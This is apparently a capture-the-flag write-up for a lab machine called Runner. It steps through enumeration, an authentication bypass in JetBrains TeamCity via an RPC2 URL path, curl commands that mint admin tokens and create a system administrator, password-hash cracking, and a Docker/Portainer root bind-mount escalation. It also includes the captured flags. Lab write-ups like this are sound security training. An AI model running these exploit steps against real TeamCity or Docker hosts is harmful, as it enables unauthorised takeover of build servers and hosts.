Nmap Results
# Nmap 7.94SVN scan initiated Wed Apr 24 17:57:49 2024 as: nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.10.11.13
Nmap scan report for 10.10.11.13
Host is up (0.013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
8000/tcp open nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 24 17:58:25 2024 -- 1 IP address (1 host up) scanned in 35.78 seconds
We can see the redirect to http://runner.htb
on tcp/80
, so let's go ahead and add that to our /etc/hosts
file.
echo '10.10.11.13 runner.htb' | sudo tee -a /etc/hosts
Service Enumeration
TCP/80
Gobuster Enumeration
Directory and File Enumeration
gobuster dir -u http://runner.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -x php,html,txt -o gobuster-80.txt
/assets (Status: 301) [Size: 178] [--> http://runner.htb/assets/]
/index.html (Status: 200) [Size: 16910]
Virtual Host Enumeration
gobuster vhost -k --domain runner.htb --append-domain -u 10.10.11.13 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
gobuster
time to move on for now and come back later if needed.TCP/8000
Gobuster Enumeration
Directory and File Enumeration
gobuster dir -u http://runner.htb:8000 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o gobuster_8000.txt
/health (Status: 200) [Size: 3]
/version (Status: 200) [Size: 9]
Virtual Host Enumeration
gobuster vhost -k --domain runner.htb --append-domain -u 10.10.11.13 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
gobuster
time to move on for now and come back later if needed.NSCA Client Test
sudo apt install -y nsca-client
send_nsca -H runner.htb -p 8000
Expanded Enumeration
Gobuster Enumeration
Directory and File Enumeration
I retried the directory and file enumeration with the /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
word list, but came back with the same two results.
Virtual Host Enumeration
I retried the virtual host enumeration with the /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt
word list and found a hit!
gobuster vhost -k --domain runner.htb --append-domain -u http://10.10.11.13 -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt --exclude-length 166 -t 100
Found: teamcity.runner.htb Status: 401 [Size: 66]
This week’s Metasploit release includes a new module for a critical authentication bypass in JetBrains TeamCity CI/CD Server. All versions of TeamCity prior to version 2023.05.4 are vulnerable to this issue.
Exploit
Making Sense of the Exploit
In Java, interceptors have the role catching HTTP requests before they hit the requested URL path and performing certain actions on the HTTP request. These actions include:
- Logging
- Authentication
- Authorization
- Adding HTTP headers
- Etc.
The myInterceptors.addAll(paramList)
method adds the custom interceptors developed by the JetBrains team. However, they add some exceptions to the list using the myPreHandlingDisabled.addPath()
method. This means that if the URL contains:
/**/RPC2
/app/agents/**
Then, these URLs completely bypass the custom interceptors. The **
in this case is a globbing wildcard pattern that matches on anything after /
and before /RPC2
.
RPC2
will bypass the authentication and authorization interceptors.These templated URLs as defined in the REST API will construct a URL based on the user-supplied input. Therefore, the URL of http://teamcity.domain.tld/app/rest/users/id:1/tokens/RPC2
will template URL with:
{userLocator}
=id:1
username{name}
={RPC2}
Effectively, it's building a URL for us that ends in RPC2
, satisfying the conditions for this authentication bypass and allowing us to get a token for a user without logging in.
Manual Exploitation
Requesting an API Token
curl -X POST http://teamcity.runner.htb/app/rest/users/id:1/tokens/RPC2
curl -X DELETE http://teamcity.runner.htb/app/rest/users/id:1/tokens/RPC2
Testing the RCE Exploit
Borrowing inspiration from the Metasploit payload, we can see that we need to make a HTTP POST
request to /app/rest/debug/processes
with a body containing exePath
and any params
arguments as needed.
# Pre-emptively delete the API token
curl -si -X DELETE http://teamcity.runner.htb/app/rest/users/id:1/tokens/RPC2
# Get a new token and store it in this variable
token=$(curl -s -X POST http://teamcity.runner.htb/app/rest/users/id:1/tokens/RPC2 | tr ' ', '\n' | grep value | cut -d '"' -f 2)
# Craft the API authentication header
auth_header="Authorization: Bearer $token"
# Create the debug process and attempt to ping my VPN IP
curl -si -X POST -H 'Content-Type: text/plain' -H $auth_header 'http://teamcity.runner.htb/app/rest/debug/processes' --data-urlencode 'exePath=/bin/bash¶ms=-c¶ms=ping -c 3 10.10.14.159'
No luck, it appears we do not have permission to this API endpoint, as we've received a HTTP 400
response indicating that this API has not been enabled. Let's see if there's another way in via the API.
Create a TeamCity Administrator
Let's use the same curl
commands from before, but just slightly tweak the payload.
nano payload.json
{
"email": "test123@localhost.local",
"name": "test123",
"username": "test123",
"password": "T3$T_t3$t_123!",
"roles": {
"role": [{
"roleId": "SYSTEM_ADMIN",
"scope": "g"
}]
}
}
# Pre-emptively delete the API token
curl -si -X DELETE http://teamcity.runner.htb/app/rest/users/id:1/tokens/RPC2
# Get a new token and store it in this variable
token=$(curl -s -X POST http://teamcity.runner.htb/app/rest/users/id:1/tokens/RPC2 | tr ' ', '\n' | grep value | cut -d '"' -f 2)
# Craft the API authentication header
auth_header="Authorization: Bearer $token"
# Create the TeamCity system admin with the payload.json file
curl -si -X POST -H 'Content-Type: application/json' -H $auth_header 'http://teamcity.runner.htb/app/rest/users' --data @payload.json
Exploring TeamCity for more Information
cd TeamCity && chmod -R u+rw .
echo 'matthew:$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em' > hash
echo 'john:$2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye' >> hash
john --wordlist=rockyou.txt hash
Post-Exploit Enumeration
Operating Environment
OS & Kernel
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
Linux runner 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
Current User
uid=1001(john) gid=1001(john) groups=1001(john)
Sorry, user john may not run sudo on runner.
Users and Groups
Local Users
matthew:x:1000:1000:,,,:/home/matthew:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/bash
Local Groups
matthew:x:1000:
john:x:1001:
Network Configurations
Network Interfaces
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:01:21 brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.10.11.13/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:121/64 scope global dynamic mngtmpaddr
valid_lft 86400sec preferred_lft 14400sec
inet6 fe80::250:56ff:feb9:121/64 scope link
valid_lft forever preferred_lft forever
3: br-21746deff6ac: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:d2:77:78:a7 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-21746deff6ac
valid_lft forever preferred_lft forever
4: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:1b:a0:df:e1 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
inet6 fe80::42:1bff:fea0:dfe1/64 scope link
valid_lft forever preferred_lft forever
6: veth6ff382b@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether 5a:e5:21:16:96:83 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::58e5:21ff:fe16:9683/64 scope link
valid_lft forever preferred_lft forever
Open Ports
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5005 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8111 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9443 0.0.0.0:* LISTEN -
Interesting Files
/etc/nginx/sites-available/portainer
server {
listen 80;
server_name portainer-administration.runner.htb;
location / {
proxy_pass https://localhost:9443;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
Privilege Escalation
Portainer
During the post-exploit enumeration phase, we found references to the portainer-administrator.runner.htb
virtual host. Let's add it to our /etc/hosts
file.
echo '10.10.11.13 portainer-administrator.runner.htb' | sudo tee -a /etc/hosts
Earlier, we cracked the hash for matthew
but couldn't find any avenues to use the credential until now.
Bind Mount via Portainer
Since Portainer is a web front end to managing the host Docker stack, we can abuse many of the same privileges as running the native docker
binary. For example, if we were able to run the native docker
binary, we might specify:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
In this case, -v /:/mnt
mounts /
from the host to /mnt
inside the container. Let's explore how to do this in Portainer.
Flags
User
9f08a11262ffa1adddaa23101b15564b
Root
04ffaaa267d80278cca9e3e94c6cc9b4